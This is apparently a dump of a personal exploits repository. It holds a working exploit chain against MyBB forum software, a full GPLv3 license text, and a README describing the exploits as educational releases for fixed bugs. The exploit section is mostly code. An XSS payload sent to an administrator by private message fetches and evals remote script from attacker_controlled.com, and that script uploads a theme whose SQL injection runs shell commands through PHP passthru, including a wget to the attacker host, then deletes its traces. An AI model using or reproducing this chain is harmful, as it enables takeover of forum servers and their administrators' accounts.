`exec.js:` 12 | ```javascript 13 | // namespace to hold all things related to the exploit 14 | window.x = {}; 15 | 16 | // important to encode more complex payloads as this just gets interposed into the xml 17 | // the two single quotes are important 18 | window.x.payload = "'wget attacker_controlled.com/successful_execution'"; 19 | // name of the theme to upload 20 | window.x.theme_name = "new_theme_test"; 21 | 22 | // get prefix of the mybb tables, this is mybb_ per default, but might be different 23 | fetch('/admin/index.php?module=tools-optimizedb').then(function a(response) { 24 | return response.text(); 25 | }).then(function b(body) { 26 | window.x.body = body; 27 | window.x.prefix = body.match('value="(.*_)adminlog"')[1]; 28 | 29 | // check if we found the prefix, might as well just set the prefix to mybb_ in this case 30 | if(!window.x.prefix) { alert('could not find prefix')} 31 | // check for post_key 32 | if(!my_post_key) { alert('could not find my_post_key')} 33 | 34 | // upload template 35 | window.x.template = atob("PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48dGhlbWUgbmFtZT0iRGVmYXVsdCIgdmVyc2lvbj0iMTgyMSI+ICAgICAgICA8cHJvcGVydGllcz4gICAgPHRlbXBsYXRlc2V0PicpIEFORCAxPTAgVU5JT04gU0VMRUNUIHRpdGxlLCAnJHtwYXNzdGhydSgn") + window.x.payload + atob("Jyl9JyBmcm9tIA==") + window.x.prefix + atob("dGVtcGxhdGVzIC0tIDwvdGVtcGxhdGVzZXQ+ICAgICAgICA8L3Byb3BlcnRpZXM+PC90aGVtZT4="); 36 | 37 | window.x.formdata = new FormData(); 38 | 39 | window.x.blob = new Blob([window.x.template], {type : "text/xml"}); 40 | 41 | window.x.formdata.append("local_file", window.x.blob); 42 | window.x.formdata.append("my_post_key", my_post_key); 43 | window.x.formdata.append("name", window.x.theme_name); 44 | window.x.formdata.append("tid", "1"); 45 | window.x.formdata.append("import_stylesheets", "0"); 46 | window.x.formdata.append("import_templates", "1"); 47 | window.x.formdata.append("import", "0"); 48 | 49 | window.x.request = new XMLHttpRequest(); 50 | window.x.request.open("POST", "/admin/index.php?module=style-themes&action=import"); 51 | window.x.request.onreadystatechange = function() { 52 | fetch_id_and_change(); 53 | 54 | } 55 | window.x.request.send(window.x.formdata); 56 | 57 | 58 | }) 59 | 60 | // get current theme, switch themes, trigger php code execution, restore default theme and delete uploaded theme 61 | function fetch_id_and_change() { 62 | fetch("/admin/index.php?module=style").then(function a(resp) { 63 | return resp.text(); 64 | }).then(function b(body) { 65 | window.x.current_theme = body.match(/Default Theme\" \/><\/div>
/)[1]; 66 | window.x.theme_id = body.match('tid=(\\d+)">' + window.x.theme_name)[1]; 67 | fetch("/admin/index.php?module=style-themes&action=set_default&tid=" + window.x.theme_id + "&my_post_key=" + my_post_key).then(function a() { 68 | // trigger rce 69 | fetch("/").then(() => { 70 | fetch("/admin/index.php?module=style-themes&action=set_default&tid=" + window.x.current_theme + "&my_post_key=" + my_post_key) 71 | }).then(() => { 72 | fetch("/admin/index.php?module=style-themes&action=delete&tid=" + window.x.theme_id + "&my_post_key=" + my_post_key, {method: 'POST'}); 73 | }); 74 | }); 75 | }) 76 | } 77 | ``` 78 | 79 | Then use this js file in the XSS to hide the remaining artifacts and fetch and eval the script above 80 | replace attacker_controlled.com and also allow CORS. 81 | 82 | `injector.js:` 83 | ```javascript 84 | this.style.display = "none"; 85 | document.body.innerHTML = document.body.innerHTML.replace(/http:\/\/x\.com\/.*\/>/gm,''); 86 | fetch("attacker_controlled.com/exec.js").then((a) => {return a.text()}).then((a) => {eval(a)}); 87 | ``` 88 | 89 | The script above can be converted into the right format that triggers the XSS with the following python script: 90 | 91 | `convert.py:` 92 | ```python 93 | #!/usr/bin/env python 94 | 95 | import sys 96 | 97 | with open('injector.js', 'r') as f: 98 | print("[img]http://xyzsomething.com/image?)http://x.com/onerror=eval(String.fromCharCode(" + ','.join(map(str, map(ord, list(f.read())))) + "));//[/img]" ) 99 | ``` 100 | 101 | 102 | The only thing left to do, is sending the admin a PM with the output of the script above. 103 | Since the template injection happens often, the admin needs to stay on the page for a while until every request has been made. 104 | 105 | 106 | This is the theme that exploits the SQL injection 107 | 108 | `theme.xml:` 109 | ```xml 110 | 111 | 112 | 113 | ') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- 114 | 115 | 116 | ``` 117 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # exploits 2 | Some exploits I have written to showcase and to share. 3 | 4 | All exploits are for vulnerabilities that have been fixed for months prior to release and are not meant to be used for exploitation in any way, but for educational purposes only. 5 | 6 | 7 | Here is the list of the exploits you can find here: 8 | 9 | | CVE | 